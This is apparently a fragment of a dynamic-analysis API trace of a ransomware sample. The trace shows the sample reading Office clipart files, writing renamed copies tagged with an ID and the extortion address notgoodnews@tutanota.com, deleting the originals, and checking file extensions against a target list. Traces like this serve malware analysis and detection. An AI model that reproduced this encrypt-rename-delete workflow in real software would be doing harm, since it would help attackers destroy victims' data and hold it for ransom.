SetEndOfFile (hFile=0x4e8) returned 1 [0180.265] CloseHandle (hObject=0x4e8) returned 1 [0180.265] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.265] SetEndOfFile (hFile=0x4dc) returned 1 [0180.269] CloseHandle (hObject=0x4dc) returned 1 [0180.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0180.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.271] lstrlenW (lpString=".doc") returned 4 [0180.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.271] lstrlenW (lpString=".docx") returned 5 [0180.271] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0180.271] lstrlenW (lpString=".pdf") returned 4 [0180.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".xls") returned 4 [0180.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.272] lstrlenW (lpString=".xlsx") returned 5 [0180.272] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0180.272] lstrlenW (lpString=".ppt") returned 4 [0180.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.272] lstrlenW (lpString=".zip") returned 4 [0180.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.272] lstrlenW (lpString=".rar") returned 4 [0180.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".bz2") returned 4 [0180.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString=".7z") returned 3 [0180.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.272] lstrlenW (lpString=".dbf") returned 4 [0180.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.273] lstrlenW (lpString=".1cd") returned 4 [0180.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.273] lstrlenW (lpString=".jpg") returned 4 [0180.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.273] lstrlenW (lpString=".doc") returned 4 [0180.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString=".docx") returned 5 [0180.273] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0180.273] lstrlenW (lpString=".pdf") returned 4 [0180.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString=".xls") returned 4 [0180.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.273] lstrlenW (lpString=".xlsx") returned 5 [0180.273] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0180.273] lstrlenW (lpString=".ppt") returned 4 [0180.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.273] lstrlenW (lpString=".zip") returned 4 [0180.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.274] lstrlenW (lpString=".rar") returned 4 [0180.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.274] lstrlenW (lpString=".bz2") returned 4 [0180.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.274] lstrlenW (lpString=".7z") returned 3 [0180.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.274] lstrlenW (lpString=".dbf") returned 4 [0180.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.274] lstrlenW (lpString=".1cd") returned 4 [0180.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0180.274] lstrlenW (lpString=".jpg") returned 4 [0180.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.274] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.274] lstrlenW (lpString="J0107026.WMF") returned 12 [0180.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.276] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=7632) returned 1 [0180.276] CloseHandle (hObject=0x4dc) returned 1 [0180.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0180.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.277] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.277] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.278] GetLastError () returned 0x0 [0180.278] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0180.286] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1de0, lpOverlapped=0x0) returned 1 [0180.287] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.287] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.288] SetEndOfFile (hFile=0x4e8) returned 1 [0180.288] CloseHandle (hObject=0x4e8) returned 1 [0180.288] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.288] SetEndOfFile (hFile=0x4dc) returned 1 [0180.292] CloseHandle (hObject=0x4dc) returned 1 [0180.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.294] lstrlenW (lpString=".doc") returned 4 [0180.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.294] lstrlenW (lpString=".docx") returned 5 [0180.294] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.294] lstrlenW (lpString=".pdf") returned 4 [0180.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.294] lstrlenW (lpString=".xls") returned 4 [0180.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.294] lstrlenW (lpString=".xlsx") returned 5 [0180.294] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.295] lstrlenW (lpString=".ppt") returned 4 [0180.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.295] lstrlenW (lpString=".zip") returned 4 [0180.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.295] lstrlenW (lpString=".rar") returned 4 [0180.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.295] lstrlenW (lpString=".bz2") returned 4 [0180.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.295] lstrlenW (lpString=".7z") returned 3 [0180.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.295] lstrlenW (lpString=".dbf") returned 4 [0180.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.295] lstrlenW (lpString=".1cd") returned 4 [0180.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.295] lstrlenW (lpString=".jpg") returned 4 [0180.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.295] lstrlenW (lpString=".doc") returned 4 [0180.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.296] lstrlenW (lpString=".docx") returned 5 [0180.296] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.296] lstrlenW (lpString=".pdf") returned 4 [0180.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.296] lstrlenW (lpString=".xls") returned 4 [0180.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.296] lstrlenW (lpString=".xlsx") returned 5 [0180.296] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.296] lstrlenW (lpString=".ppt") returned 4 [0180.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.296] lstrlenW (lpString=".zip") returned 4 [0180.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.475] lstrlenW (lpString=".rar") returned 4 [0180.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.475] lstrlenW (lpString=".bz2") returned 4 [0180.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.475] lstrlenW (lpString=".7z") returned 3 [0180.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.475] lstrlenW (lpString=".dbf") returned 4 [0180.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.475] lstrlenW (lpString=".1cd") returned 4 [0180.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0180.476] lstrlenW (lpString=".jpg") returned 4 [0180.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.476] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.476] lstrlenW (lpString="J0107132.WMF") returned 12 [0180.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.674] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=48380) returned 1 [0180.674] CloseHandle (hObject=0x4dc) returned 1 [0180.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0180.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.677] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.677] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.678] GetLastError () returned 0x0 [0180.678] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0180.684] WriteFile (in: hFile=0x3f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xbd00, lpOverlapped=0x0) returned 1 [0180.686] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.686] WriteFile (in: hFile=0x3f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.687] SetEndOfFile (hFile=0x3f4) returned 1 [0180.687] CloseHandle (hObject=0x3f4) returned 1 [0180.687] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.687] SetEndOfFile (hFile=0x4dc) returned 1 [0180.693] CloseHandle (hObject=0x4dc) returned 1 [0180.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.695] lstrlenW (lpString=".doc") returned 4 [0180.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".docx") returned 5 [0180.695] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.695] lstrlenW (lpString=".pdf") returned 4 [0180.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".xls") returned 4 [0180.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.695] lstrlenW (lpString=".xlsx") returned 5 [0180.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.695] lstrlenW (lpString=".ppt") returned 4 [0180.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.696] lstrlenW (lpString=".zip") returned 4 [0180.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.696] lstrlenW (lpString=".rar") returned 4 [0180.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString=".bz2") returned 4 [0180.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString=".7z") returned 3 [0180.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.696] lstrlenW (lpString=".dbf") returned 4 [0180.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.696] lstrlenW (lpString=".1cd") returned 4 [0180.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.696] lstrlenW (lpString=".jpg") returned 4 [0180.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.696] lstrlenW (lpString=".doc") returned 4 [0180.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString=".docx") returned 5 [0180.697] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.697] lstrlenW (lpString=".pdf") returned 4 [0180.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.697] lstrlenW (lpString=".xls") returned 4 [0180.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.697] lstrlenW (lpString=".xlsx") returned 5 [0180.697] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.697] lstrlenW (lpString=".ppt") returned 4 [0180.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.697] lstrlenW (lpString=".zip") returned 4 [0180.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.698] lstrlenW (lpString=".rar") returned 4 [0180.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.698] lstrlenW (lpString=".bz2") returned 4 [0180.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.698] lstrlenW (lpString=".7z") returned 3 [0180.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.698] lstrlenW (lpString=".dbf") returned 4 [0180.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.698] lstrlenW (lpString=".1cd") returned 4 [0180.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0180.698] lstrlenW (lpString=".jpg") returned 4 [0180.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.698] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.698] lstrlenW (lpString="J0107134.WMF") returned 12 [0180.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.701] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=48388) returned 1 [0180.701] CloseHandle (hObject=0x4dc) returned 1 [0180.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0180.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.702] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.702] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.704] GetLastError () returned 0x0 [0180.704] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xbd04, lpOverlapped=0x0) returned 1 [0180.710] WriteFile (in: hFile=0x3f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xbd10, lpOverlapped=0x0) returned 1 [0180.712] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.712] WriteFile (in: hFile=0x3f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.713] SetEndOfFile (hFile=0x3f4) returned 1 [0180.713] CloseHandle (hObject=0x3f4) returned 1 [0180.713] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.713] SetEndOfFile 